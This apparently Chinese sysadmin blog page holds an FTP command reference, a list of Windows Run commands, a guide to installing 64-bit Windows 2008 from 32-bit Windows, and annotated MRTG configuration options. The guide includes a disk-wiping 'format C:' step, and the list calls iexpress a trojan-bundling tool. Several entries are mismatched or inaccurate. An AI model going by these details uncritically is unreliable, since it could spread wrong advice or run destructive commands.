37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.

#11 十一:

7:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕”讲述人”
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-**整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

32位Windows下硬盘安装64位的Windows 2008

{ Posted on 星期二, 一月 11, 2011 by Kaiser.XKw }
        直接在32位Windows下硬盘安装64位的windows2008时,系统会提示无法支持该机器之类的错误,需要做些处理才可以:
1. 将\boot目录和文件\bootmgr复制到启动盘C:\
2.再在启动盘C:\下新建目录sources,复制\sources\boot.wim文件到该目录
3.在找个32位的bootsect.exe放到c:\, 不要用windows 2008 64位自带的(32位window 7的也可以),bootsect.exe是用于配置启动环境,会设定Windows 2008的安装到启动菜单
4.在命令行模式下执行c:\bootsect.exe /nt60 c:(64位的文件无法执行)
5.重新启动,即可进入windows 2008的安装画面,进入安装界面后,选择修复,不要选安装,选直接安装需要载入驱动,有点麻烦。
6.进入CMD命令行模式,执行format C:/q, 格掉C盘,或者用DEL删除上面的目录和文件
7.进入Win2008在硬盘中的目录,执行sources中的setup.exe,系统就会开始安装。

        其实我们可以使用同样的方式,利用bootsect.exe来进入命令行模式,安装其他版本的windows,如低版本覆盖高版本的Windows.....

MRTG 系列 :参数设定(下篇)

{ Posted on 星期六, 十二月 11, 2010 by Kaiser.XKw }
MRTG 系列 :参数设定(下篇)

PageFoot

Things to add to the bottom of the generated HTML page. Note that you can have several lines of text as long as the first column is empty.

Note that the continuation lines will all end up on the same line in the html page. If you want linebreaks in the generated html use the '\n' sequence.

The material will be added just before the </BODY> tag:

Example:

 

# 注释 :PageFoot 和 PageTop 是相对的。就是在生成的HTML页面的底部添加一些信息,包括联系信息等等。

 

PageFoot[myrouter]: Contact <A HREF="mailto:peter@x.yz">Peter</A>

 if you have questions regarding this page

 
# 注释 :同样支持 ident ,和 \n
 
 

 

 AddHead

Use this tag like the PageTop header, but its contents will be added between </TITLE> and </HEAD>.

 

# 注释 :AddHeade 和 PageTop 类似,但内容放在 </TITLE> 和 </HEAD> 之间

 

Example:

AddHead[myrouter]: <link rev="made" href="mailto:mrtg@blabla.edu">

 

 

BodyTag

BodyTag lets you supply your very own <body ...> tag for the generated webpages.

 

# 注释 :BodyTag 可以定义一些 HTML BODY 方面的属性,例如背景颜色,背景图片等等。


 

Example:

 

BodyTag[myrouter]: <BODY LEFTMARGIN="1" TOPMARGIN="1"

                     BACKGROUND="/stats/images/bg.neo2.gif">

 
 

 

 AbsMax

 

If you are monitoring a link which can handle more traffic than the MaxBytes value. Eg, a line which uses compression or some frame relay link, you can use the AbsMax keyword to give the absolute maximum value ever to be reached. We need to know this in order to sort out unrealistic values returned by the routers. If you do not set AbsMax, rateup will ignore values higher than MaxBytes.

Example:

 

 

AbsMax[myrouter]: 2500000

 


 

Unscaled

By default each graph is scaled vertically to make the actual data visible even when it is much lower than MaxBytes. With the Unscaled variable you can suppress this. It's argument is a string, containing one letter for each graph you don't want to be scaled: d=day w=week m=month y=year. There is also a special case to unset the variable completely: n=none. This could be useful in the event you need to override a global configuration. In the example scaling for the yearly and the monthly graph are suppressed.

Example:

 

# 注释 :默认情况下,每个图片的Y轴都会自动调整刻度,使得即使 MRTG 采到的数据比 MaxBytes 小很多也能显示,

 

# 如果 Y 轴的最大值固定为 MaxBytes ,则某些较小的值将无法显示。

 

# 如果不想让 MRTG 自动调制 Y 轴,可以使用 Unscaled 选项。例如在查看某个接口的全年/全月的流量时,如果 Y 轴的刻度老是变化,不利于统计,所以必须固定Y轴的刻度

 

# MRTG 默认会为每个 Target 生成4个图片,分别是每天(d)、每周(w)、每月(m)、每年(y)。

 

# Unscaled 后面跟的就是单个的字母的组合,例如 Unscaled:dwmy 。

 

# 还有一个全部禁用的快捷的方法就是 :Unscaled: n=none
 


 

Unscaled[myrouter]: ym

 


 

WithPeak

By default the graphs only contain the average values of the monitored variables - normally the transfer rates for incoming and outgoing traffic. The following option instructs mrtg to display the peak 5 minute values in the [w]eekly, [m]onthly and [y]early graph. In the example we define the monthly and the yearly graph to contain peak as well as average values.

Examples:

 

# 注释 :默认情况下,MRTG 生成的图片只包括当前流入/流出状态,平均值三个值。

 

# 可以通过 WithPeak 选项让 MRTG 为周图、月图、年图显示在过去5分钟内的最大值


 

WithPeak[myrouter]: ym

 


 

Suppress

 

By default mrtg produces 4 graphs. With this option you can suppress the generation of selected graphs. The option value syntax is analogous to the above two options. In this example we suppress the yearly graph as it is quite empty in the beginning.

Example:

 

# 注释 :默认情况下,MRTG 会产生4个图表,也就是每天(d)、每周(w)、每月(m)、每年(y)。

 

# Suppress 选项表示要禁止生成那张图表。

 

# 例如 Suppress[dns1.bob.com]: y 表示 Target 为 dns1.bob.com 的不生成年图


 

Suppress[myrouter]: y

 

 

Extension

 

By default, mrtg creates .html files. Use this option to tell mrtg to use a different extension. For example you could set the extension to php3, then you will be able to enclose PHP tags into the output (useful for getting a router name out of a database).

Example:

 

# 注释 :默认情况下,MRTG 生成的页面都是 ".html" 的扩展名。

 

# Extension 选项告诉 MRTG 改用指定的扩展名

 

# 使用该选项主要是可以通过使用其他扩展名(例如 php)来在页面中嵌入其他脚本代码

 

Extension[myrouter]: phtml

 


 

Directory

By default, mrtg puts all the files that it generates for each target (the GIFs, the HTML page, the log file, etc.) in WorkDir.

If the Directory option is specified, the files are instead put into a directory under WorkDir or Log-, Image- and HtmlDir). (For example the Directory option below would cause all the files for a target myrouter to be put into directory /usr/tardis/pub/www/stats/mrtg/myrouter/ .)

The directory must already exist; mrtg will not create it.

 

# 注释 :默认情况下,MRTG 会把所有 Target 生成的页面,图片都放在 WorkDir 指定的目录下。

 

# 当 Target 数量一多的时候,WorkDir 下的内容就会非常杂乱。

 

# 可以为不同的 Target 指定不同的子目录,对应的页面和图片放在对应的目录下,这样就比较好了

 

# 注释 :Directory 选项指定的目录是位于 WorkDir 下,必须先手工创建,MRTG 不会自动创建

 

Example:

 

WorkDir: /usr/tardis/pub/www/stats/mrtg

Directory[myrouter]: myrouter

 

NOTE: the Directory option must always be 'relative' or bad things will happen.

 

# 注释 :Directory 选项后面的目录名必须是“相对路径”,不能是绝对路径

 


 

Clonedirectory

If the Directory option is specified, the Clonedirectory option will copy all the contents of Directory to the Clonedirectory.

As well as the Directory option requires, the clone directory must already exist; mrtg will not create it.

Example:

 

# 注释 :如果设定了 Directory 选项,则 CloneDirectory 会把 Directory 指定的目录下面的内容全部拷贝到 Clonedirectory 指定的目录下

 

# 同样也需要先手工创建目录

 

WorkDir: /usr/tardis/pub/www/stats/mrtg

Directory[myrouter]: myrouter

Clonedirectory[myrouter]: myclonedirectory

 

NOTE: the Clonedirectory option must always be 'relative' or bad things will happen.

 

# 注释 :Clonedirectory 选项后面的目录名必须是“相对路径”,不能是绝对路径

 


 

XSize and YSize

 

By default mrtgs graphs are 100 by 400 pixels wide (plus some more for the labels. In the example we get almost square graphs ...

Note: XSize must be between 20 and 600; YSize must be larger than 20

Example:

 

# 注释 :默认情况下,MRTG 生成的图片都是 100*400 像素大小的,可以通过 XSize 和 YSize 来调整

 

# 要注意,XSize 必须是 20~ 600 ,YSize 必须是 >20


 

 

XSize[myrouter]: 300

YSize[myrouter]: 300

 

 

XZoom and YZoom

 

If you want your graphs to have larger pixels, you can ``Zoom'' them.

Example:

 

# 注释 :假如想放大图片,可以使用 XZoom 和 YZoom 选项。


 

XZoom[myrouter]: 2.0

YZoom[myrouter]: 2.0

 


 

XScale and YScale

 

If you want your graphs to be actually scaled use XScale and YScale. (Beware: while this works, the results look ugly (to be frank) so if someone wants to fix this: patches are welcome.

Example:


 

XScale[myrouter]: 1.5

YScale[myrouter]: 1.5

 


 

YTics and YTicsFactor

 

If you want to show more than 4 lines per graph, use YTics. If you want to scale the value used for the YLegend of these tics, use YTicsFactor. The default value for YTics is 4 and the default value for YTicsFactor is 1.0 .

Example:

 

# 注释 :默认情况下 MRTG 生成的图表的 Y 轴只有4个刻度值,也就是分成4份。

 

# 如果要想分的更细,可以用 YTics 选项指定刻度的数量,例如 YTics:[dns1.bob.com]: 7

 

# 至于 YTicsFactor 则是用来调整 Y 轴上的刻度值的,例如 MaxBytes 为 700 ,YTics 为 7,则分别是 0,100,200,300,400,500,600,700

 

# 如果想 Y 轴显示为 0-7 ,则 YTicsFactor 设置为 0.01 ,则 Y 轴分别显示 0,1,2,3,4,5,6,7

 

Suppose you get values ranging from 0 to 700. You want to plot 7 lines and want to show 0, 1, 2, 3, 4, 5, 6, 7 instead of 0, 100, 200, 300, 400, 500, 600, 700. You should write then:

 

 YTics[myrouter]: 7

 YTicsFactor[myrouter]: 0.01

 

 

Factor

If you want to multiply all numbers shown below the graph with a constant factor, use this directive to define it ..

Example:


 

Factor[as400]: 4096
 

 

Step

Change the default step from 5 * 60 seconds to something else (I have not tested this much ...)


 

Step[myrouter]: 60

 


 

PNGTitle

When using rateup for graph generation, this will print the given title in the graph it generates.

Example:

 

# 注释 : PNGTitle 是用于 MRTG 在生成的图表上输出标题


 

PNGTitle[myrouter]: WAN Link UK-US

 

 

Options

The Options Keyword allows you to set some boolean switches:

 

# 注释 :Options 允许对一些布尔型的选项进行设置

growright

The graph grows to the left by default. This option flips the direction of growth causing the current time to be at the right edge of the graph and the history values to the left of it.

 

# 注释 :默认情况下,MRTG 生成的图表是从右向左推进的(old --> new ),也就是过时的数据将逐渐消失在图表的左边

 

# 而 growright 选项则起到相反的作用,图表的更新是从左到右推进的 (old <-- new ),这样最新的数据就一直显示在图表的右边了



 bits

All the monitored variable values are multiplied by 8 (i.e. shown in bits instead of bytes) ... looks much more impressive :-) It also affects the 'factory default' labeling and units for the given target.

 

# 注释 :bits 表示采用 bit 作为单位,而不是默认的 bytes 。所以显示出来的数值会比采用 bytes 的大7倍。



 perminute

All the monitored variable values are multiplied by 60 (i.e. shown in units per minute instead of units per second) in case of small values more accurate graphs are displayed. It also affects the 'factory default' labeling and units for the given target.

 

# 注释 :默认情况下,MRTG 会显示 xxx/秒,而 perminute 则显示为 xxx/分钟,所以显示出来的值为默认的60倍



 perhour

All the monitored variable values are multiplied by 3600 (i.e. shown in units per hour instead of units per second) in case of small values more accurate graphs are displayed. It also affects the 'factory default' labeling and units for the given target.

 

# 注释 :和 perminute 一样,perhour 将使显示的格式为 xxx/小时。

 


 noinfo

Suppress the information about uptime and device name in the generated webpage.

 

# 注释 :noinfo 表示不对该 Target 输出 Uptime 和 Name 信息



 nopercent

Don't print usage percentages.

 

# 注释 :nopercent 表示不显示百分比,默认 MRTG 会显示值为 MaxBytes 的百分之几

 


 transparent

Make the background of the generated gifs transparent.

 

# 注释 :transparent 表示生成的 PNG 图表的背景透明


 integer

Print summary lines below graph as integers without commas.

 

# 注释 :integer 表示在图表的下面打印统计信息取整数,四舍五入。



 dorelpercent

The relative percentage of IN-traffic to OUT-traffic is calculated and displayed in the graph as an additional line. Note: Only a fixed scale is available (from 0 to 100%). Therefore if IN-traffic is greater than OUT-traffic then 100% is displayed. If you suspect that your IN-traffic is not always less than or equal to your OUT-traffic you are urged to not use this options. Note: If you use this option in combination with the Colours options, a fifth colour-name colour-value pair is required there.

 

# 注释 :MRTG 只是在图表上绘出输入/出的图形,如果要准确的知道输入/出之间的比例,可以用 dorelpercent 。

 

# MRTG 会在图表下方增加第三行数据,表示两者的比例。

 

# 计算公式为 : ((每秒流入量(单位 Bytes ))/(每秒流出量(单位 Bytes )))*100
 


 avgpeak

There are some ISPs who use the average Peak values to bill their customers. Using this option MRTG displays these values for each graph. The value is built by averaging the max 5 minute traffic average for each 'step' shown in the graph. For the Weekly graph this means that it builds the average of all 2 hour intervals 5 minute peak values. (Confused? Thought so!)

 

# 注释 :avgpeak 表示显示1分钟平均值的峰值。做法就是从5分钟的平均值中找出最大的那个,除以5,得出1分钟内的最大平均值



 gauge

Treat the values gathered from target as 'current status' measurements and not as ever incrementing counters. This would be useful to monitor things like disk space, processor load, temperature, and the like ...

In the absence of 'gauge' or 'absolute' options, MRTG treats variables as a counters and calculates the difference between the current and the previous value and divides that by the elapsed time between the last two readings to get the value to be plotted.

 

# 注释 :gauge 表示 Target 为 Gauge 类型,不是 counter

 

# 如果没有指定 "guage" 或者 "absolute" 选项时,MRTG 把 Target 当成 counter 型,并计算当前值和上一次的值的差值,除以两次 get 操作的相隔时间

 

# gauge 适用于磁盘空间、cpu 负荷、温度等对象的监测



 absolute

This is for counter type data sources which reset their value when they are read. This means that rateup does not have to build the difference between the current and the last value read from the data source. The value obtained is still divided by the elapsed time between the current and the last reading, which makes it different from the 'gauge' option. Useful for external data gatherers.

 

# 注释 :这种类型的 Target 在每次更新计数器时,都会先把计数器清零,再写入新的值。

 

# 也就是说,absolute 类型的 Target 在每个 interval 的 delta 都等于该计数器在该 interval 的值。

 

# MRTG 对于该类型的 Target 固定认为前一个 interval 的值是 0, 这样 (value2 -0)/ interval

 

# 也就是等于 value2/interval 了。

 

# 补充 :RRDtool 中也有 counter、derive、absolute、gauge 4中类型的 DS

 

# 如果对 ifInOctets 这样的计数器使用 absolute ,图表上的值将不断增大,除非等到计数器复位为止。

 

# 补充 :Counter 是 "累积型" 的对象,也就是只能增加,不能减少。达到 MaxBytes 后清0,适用于流量这类的对象

 

# 而 Gauge 是 "浮动型" 的对象,也就是说可以上下浮动,不要求对象的当前值比前一个值大,适用于 cpu 负荷、温度、磁盘空间利用,响应时间率这些非 ”累积型” 的对象

 


 derive

If you are using rrdtool as logger/grapher you can use a third type of data source. Derive is like counter, except that it is not required to go UP all the time. It is useful for situations where the change of some value should be graphed.

 

# 注释 :derive 和 counter 很象。但 derive 允许 delta 为负数。如果某个 Target 的值有点类似正弦曲线,可以使用该项

 


 unknaszero

Log unknown data as zero instead of the default behaviour of repeating the last value seen. Be careful with this, often a flat line in the graph is much more obvious than a line at 0.

 

# 注释 :默认情况下,mrtg 对于那些超过最大值的值都忽略,并使用对应上一个 interval 的值。

 

# unknaszero 表示用 0 来代替上一个 interval 的值。

 


 withzeroes

Normally we ignore all values which are zero when calculating the average transfer rate on a line. If this is not desirable use this option.

 

# 注释 :通常在计算平均值时,会忽略所有值为0的行。 withzeros 表示包含这些值在内

 


 noborder

If you are using rateup to log data, MRTG will create the graph images. Normally these images have a shaded border around them. If you do not want the border to be drawn, enable this option. This option has no effect if you are not using rateup.

 

# 注释 :noborder 表示生成的图表不带边框

 

# 不过如果不使用 rateup ,则该选项无效
 


 noarrow

As with the option above, this effects rateup graph generation only. Normally rateup will generate graphs with a small arrow showing the direction of the data. If you do not want this arrow to be drawn, enable this option. This option has no effect if you are not using rateup.

 

# 注释 :noarrow 表示生成的图表的 X 轴不带箭头。默认情况下会有一个箭头表示数据更新的方向(箭头所指的方向就是新的数据的位置)

 

# 同样如果不使用 rateup ,则该选项不起效果



 noi

When using rateup for graph generation, you can use this option to stop rateup drawing a graph for the 'I' or first variable. This also removes entries for this variable in the HTML page MRTG generates, and will remove the peaks for this variable if they are enabled. This allows you to hide this data, or can be very useful if you are only graphing one line of data rather than two. This option is not destructive - any data received for the the variable continued to be logged, it just isn't shown.

 

# 注释 :我们知道 MRTG 画图需要两个数据,一个是 "输入" ,一个是 "输出" ,但很经常我们不需要用到两个数据,

 

# 也就是我们只需要画一根曲线就可以了。例如监测磁盘的利用率

 

# noi 就是表示 "noinput" 的意思,表示只显示第二条曲线,不显示第一条,也就是只显示 <oid_1>&<oid_2> 的第二个 oid

 

# 但第一个变量的数据仍然会收集,只不过不显示在图表上而已

 

 

noo

Same as above, except relating to the 'O' or second variable.

 

# 注释 :和 noi 相似,noo 表示不显示第二条曲线。


 


 nobanner

When using rateup for graph generation, this option disables MRTG adding the MRTG banner to the HTML pages it generates.

 

# 注释 :当使用 ratup 画图时,nobanner 阻止 MRTG 生成 banner


 


 nolegend

When using rateup for graph generation, this option will stop MRTG from creating a legend at the bottom of the HTML pages it generates.

 

# 注释 :当使用 ratup 画图时,nolegend 阻止 MRTG 生成 legnd ,也就是页面底部的一些说明信息,例如什么颜色的线代表什么含义


 


 

printrouter

When using rateup for graph generation, this option will print the router name in the graph it generates. This option is overridden by the value of PNGTitle if one is given

 

 


 pngdate

When using rateup for graph generation, this option will print a timestamp in the graph it generates, including a timezone if one is specified by the 'Timezone' parameter.

 

# 注释 :当使用 pngdate 选项时,MRTG 会在生成的图表上打印一个时间戳,包括时区


 


 logscale

The logscale option causes rateup to display the data with the Y axis scaled logarithmically. Doing so allows the normal traffic to occupy the majority of the vertical range, while still showing any spikes at their full height.

logscale displays all the available data and will always produce well-behaved graphs. People often consider a logarithmically scaled graph

counterintuitive, however, and thus hard to interpret.



 expscale

The expscale option causes rateup to display the data with the Y axis scaled exponentially. Doing so emphasizes small changes at the top of the scale; this can be useful when graphing values that fluctuate by a small amount near the top of the scale, such as line voltage.

expscale is essentially the inverse of logscale.



 secondmean

The secondmean option sets the maximum value on the graph to the mean of the data greater than the mean of all data. This produces a graph that focuses more on the typical data, while clipping large peaks.

Using secondmean will give a more intutive linearly scaled graph, but can result in a uselessly high or low scale in some rare situations (specifically, when the data includes a large portion of values far from the actual mean)

If a target includes both logscale and secondmean in the options, the secondmean takes precedence.

 

Example:

 

Options[myrouter]: growright, bits

 

#  注释 :到此所有 Options[ <target>]:的选项就结束了

 

# 下面是其他选项了,不再属于 Options[] 了


 

kilo

Use this option to change the multiplier value for building prefixes. Defaultvalue is 1000. This tag is for the special case that 1kB = 1024B, 1MB = 1024kB and so far.

Example:

 

kilo[myrouter]: 1024

 

# 注释 :默认情况下,MRTG 中1KB=1000B,而不是 1024 ,如果要改变这个值,可以使用 kilo[<target>]: 1024

 



 

 kMG

Change the default multiplier prefixes (,k,M,G,T,P). In the tag ShortLegend define only the basic units. Format: Comma seperated list of prefixed. Two consecutive commas or a comma at start or end of the line gives no prefix on this item. If you do not want prefixes, just put two consecutive commas. If you want to skip a magnitude select '-' as value.


Example: velocity in nm/s (nanometers per second) displayed in nm/h.

 

ShortLegend[myrouter]: m/h

kMG[myrouter]: n,u,m,,k,M,G,T,P

options[myrouter]: perhour

 


 

Colours

 

The Colours tag allows you to override the default colour scheme. Note: All 4 of the required colours must be specified here. The colour name ('Colourx' below) is the legend name displayed, while the RGB value is the real colour used for the display, both on the graph and in the html doc.

Format is: Col1#RRGGBB,Col2#RRGGBB,Col3#RRGGBB,Col4#RRGGBB

Important: If you use the dorelpercent options tag a fifth colour name colour value pair is required: Col1#RRGGBB,Col2#RRGGBB,Col3#RRGGBB,Col4#RRGGBB,Col5#RRGGBB

 

# 注释 :Colours 设置图表曲线的颜色。总共有4个需要设置,格式为

 

Colours[<target>]: Col1<#RRGGBB>,Col2<#RRGGBB>,Col3<#RRGGBB>,Col4<#RRGGBB>

 

Colour1

First variable (normally Input) on default graph.

 

# 注释 :输入曲线的颜色

Colour2

Second variable (normally Output) on default graph.

 

# 注释 :输出曲线的颜色

Colour3

Max first variable (input).

 

# 注释 :最大输入曲线的颜色

Colour4

Max second variable (output).

 

# 注释 :最大输出曲线的颜色

RRGGBB

2 digit hex values for Red, Green and Blue.

 

# 注释 :至于 <RRGGBB> 就是16进制格式的 RGB 值


Example:

Colours[myrouter]: GREEN#00eb0c,BLUE#1000ff,DARK GREEN#006600,VIOLET#ff00ff

 


 

Background

With the Background tag you can configure the background colour of the generated HTML page.

Example:

 

# 注释 :Backgound 设置底色。

 

Background[myrouter]: #a0a0a0a

 

 

 YLegend, ShortLegend, Legend[1234]

The following keywords allow you to override the text displayed for the various legends of the graph and in the HTML document:

 

# 注释 :YLegend,ShortLegend ,Legend 允许修改图表的各个轴所显示的文字

 YLegend

The Y-axis label of the graph. Note that a text which is too long to fit in the graph will be silently ignored.

 

# 注释 :YLegend 设置 Y 轴的说明文字。要注意不能太长,如果超过图片的大小限制,则会被忽略

 ShortLegend

The units string (default 'b/s') used for Max, Average and Current

 

# 注释 :ShortLegend 设置 x 轴的单位,默认为 b/s

 Legend[1234IO]

The strings for the colour legend.

 

# 注释 :Legend 设置其他的说明文字,可以设置的包括的有 :

 

#     -)Legend1:

 

#     -)Legend2:

 

#     -) Legend3:

 

#     -)Legend4:

 

#     -)LegendI:

 

#     -)LegendO:

 

# 注释 :Legne1 ~ Legen1 分别设置 HTML 页面底部那4种颜色的线的说明文字


# 不过 Legend3 和 Legend4 必须是启用了 avgpeak 后才有的两根线

 

Example:

 YLegend[myrouter]: Bits per Second

 ShortLegend[myrouter]: b/s

 Legend1[myrouter]: Incoming Traffic in Bits per Second

 Legend2[myrouter]: Outgoing Traffic in Bits per Second

 Legend3[myrouter]: Maximal 5 Minute Incoming Traffic

 Legend4[myrouter]: Maximal 5 Minute Outgoing Traffic

 LegendI[myrouter]: &nbsp;In:

 LegendO[myrouter]: &nbsp;Out:

 

Note, if LegendI or LegendO are set to an empty string with

 

LegendO[myrouter]:

 

The corresponding line below the graph will not be printed at all.

 

# 注释 :要注意,假如 LegendI 或者 LegendO 的值为空,则在图表下面的2行数据不会输出

 

 

 Timezone

If you live in an international world, you might want to generate the graphs in different timezones. This is set in the TZ variable. Under certain operating systems like Solaris, this will provoke the localtime call to give the time in the selected timezone.

Example:

 

Timezone[myrouter]: Japan

 

The Timezone is the standard timezone of your system, ie Japan, Hongkong, GMT, GMT+1 etc etc.

 


 

Weekformat

 

By default,mrtg (actually rateup) uses the strftime(3) '%V' option to format week numbers in the monthly graphs. The exact semantics of this format option vary between systems. If you find that the week numbers are wrong, and your system's strftime(3) routine supports it, you can try another format option. The POSIX '%V' option correspond to the widely used ISO 8601 week numbering standard. The week format
character should be specified as a single letter; either W, V, or U.

 

The UNIX version of rateup uses the libc implementation of strftime. On Windows, the native strftime implementation does not know about %V. So there we use a different implementation of strftime that does support %V.

Example:

 

Weekformat[myrouter]: W

 


 

RRDRowCount

This affects the creation of new rrd files. By default rrds are created to hold about 1 day's worth of high resolution data. (plus 1 week of 30 minute data, 2 months of 2 hour data and 2 years of 1 day data). With this Keyword you can change the number of base interval entries configured for new rrds as they get created. Note that you must take the interval time into account.

Example:

 

RRDRowCount[myrouter]: 1600

 


 TimeStrPos

This defines placement of the timestamp string on the image. Possible values are RU, LU, RL, LL (which stand, respectively, for RightUpper, LeftUpper, RightLower and LeftLower corner) and NO (for no timestamp). By default, no timestamp is placed on the image.

Example:

 

# 注释 :TimeStrPos 定义图表的时间戳的位置,可选的值有 RU、LU、RL、LL (右上、左上、右下、左下)四个位置,还有 NO


 

TimeStrPos[myrouter]: RU

 
 

 

TimeStrFmt

 

Using this keyword you may specify format of the timestamp to be placed on the image
(if enabled by the TimeStrPos keyword). Specified string will be used by the strftime()
function - see strftime(3) documentation for conversion specifiers available on your system.
Default format: %Y-%m-%d %H:%M

 

# 注释 :TimeStrFmt 用于定义图表上的时间戳的格式。

 

# 默认的格式是 "%Y-%m-%d %H:%M" ,也就是 "年-月-日 小时:分钟"


 

Example:

 

TimeStrFmt[myrouter]: %H:%M:%S